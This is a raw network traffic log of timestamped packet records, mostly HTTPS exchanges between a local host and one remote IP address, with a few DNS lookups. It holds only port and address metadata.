Jan 15, 2025 04:22:42.129789114 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.129987001 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.130882978 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.130949020 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.132189035 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.132210016 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.132553101 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.133282900 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.175415039 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.465548038 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.465570927 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.465665102 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.465727091 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.465790987 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466159105 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.466200113 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.466223001 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466243982 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.466268063 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.466270924 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466295958 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466314077 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466377020 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466417074 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.466449976 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.466464043 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.477947950 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.477983952 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:42.478049040 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.478414059 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:42.478432894 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:43.268460989 CET	64320	53	192.168.2.4	162.159.36.2
Jan 15, 2025 04:22:43.273658037 CET	53	64320	162.159.36.2	192.168.2.4
Jan 15, 2025 04:22:43.273740053 CET	64320	53	192.168.2.4	162.159.36.2
Jan 15, 2025 04:22:43.278600931 CET	53	64320	162.159.36.2	192.168.2.4
Jan 15, 2025 04:22:43.723325014 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:43.723510981 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:43.724425077 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:43.724487066 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:43.725857973 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:43.725872040 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:43.726198912 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:43.726978064 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:43.737802982 CET	64320	53	192.168.2.4	162.159.36.2
Jan 15, 2025 04:22:43.742892027 CET	53	64320	162.159.36.2	192.168.2.4
Jan 15, 2025 04:22:43.742954016 CET	64320	53	192.168.2.4	162.159.36.2
Jan 15, 2025 04:22:43.767405987 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.110096931 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.110127926 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.110173941 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.110261917 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.110263109 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.110326052 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.110608101 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.110893011 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.110955000 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.111042976 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.337882996 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.338057995 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.338336945 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.338505983 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.338794947 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.338978052 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.339397907 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.339451075 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.339454889 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.339488029 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.339535952 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.340306997 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.340354919 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.340373039 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.340411901 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.340455055 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.385706902 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.559482098 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.559585094 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.559662104 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.559710026 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.559710026 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.559710026 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.559776068 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.559977055 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.560014963 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.560143948 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.560143948 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.560209990 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.560846090 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.560966015 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.561031103 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.561031103 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.561065912 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.561095953 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.561141968 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.561141968 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.561592102 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.561770916 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.561959028 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.562022924 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.562047958 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.562108040 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.562978029 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.563044071 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.563069105 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.563127995 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.563668013 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.563736916 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.797559023 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.797681093 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.797787905 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.797787905 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.797823906 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.797852993 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.797879934 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.797951937 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798074961 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798109055 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798178911 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798218966 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798224926 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798283100 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798300028 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798326015 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798372984 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798373938 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798393011 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798439026 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798537016 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798672915 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798674107 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.798738956 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798834085 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.798965931 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799042940 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799042940 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799057961 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799108982 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799149990 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799165010 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799165010 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799189091 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799221039 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799694061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799750090 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799767017 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799809933 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799829006 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799843073 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799870014 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799921036 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.799973965 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.799987078 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.800014019 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.800040007 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.800055027 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.800086975 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.800954103 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801009893 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.801023960 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801054001 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801094055 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.801114082 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801137924 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.801155090 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801239967 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801708937 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801817894 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801898003 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.801915884 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.801954031 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.802006006 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.802018881 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.802043915 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.802073956 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.802087069 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.802119017 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.810569048 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.886127949 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.886244059 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.886311054 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.886311054 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.886332989 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.886357069 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.886401892 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.886445999 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.886684895 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:44.886749029 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:44.886826038 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.030950069 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031049967 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031073093 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031104088 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031133890 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031169891 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031210899 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031275034 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031343937 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031431913 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031449080 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031507015 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031554937 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031615973 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031653881 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031711102 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031749964 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031800985 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031847000 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.031905890 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.031941891 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032001972 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032115936 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032185078 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032207966 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032274008 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032300949 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032367945 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032397032 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032454967 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032494068 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032552958 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032599926 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032664061 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032700062 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032779932 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.032795906 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.032852888 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.035949945 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036010981 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036150932 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036223888 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036250114 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036314964 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036339998 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036401987 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036662102 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036720037 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036758900 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036815882 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036856890 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.036912918 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.036952972 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037009001 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037040949 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037098885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037189007 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037190914 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037257910 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037379980 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037444115 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037482023 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037535906 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037574053 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037626028 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037664890 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037719965 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.037746906 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.037805080 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.110717058 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.121543884 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.121680021 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.121743917 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.121743917 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.121774912 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.121804953 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.121833086 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.121901989 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122000933 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122086048 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122086048 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122102976 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122152090 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122200012 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122205973 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122221947 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122236013 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122267008 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122322083 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122435093 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122548103 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122575045 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122575045 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122639894 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122679949 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122694969 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122694969 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122716904 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122745991 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122814894 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122865915 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122883081 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122932911 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122940063 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.122955084 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.122987032 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123055935 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123111010 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123125076 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123152018 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123183012 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123200893 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123224974 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123272896 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123331070 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123343945 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123403072 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123404980 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123430014 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123461008 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123523951 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123579979 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123593092 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123624086 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123645067 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123656034 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123683929 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123720884 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123774052 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123786926 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123815060 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123836040 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123847961 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123879910 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.123909950 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.123996019 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.124026060 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.124037981 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.124068022 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.146081924 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252274036 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252388954 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252464056 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252464056 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252477884 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252528906 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252578974 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252583027 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252633095 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252650023 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252691031 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252708912 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252723932 CET	443	49740	39.103.20.17	192.168.2.4
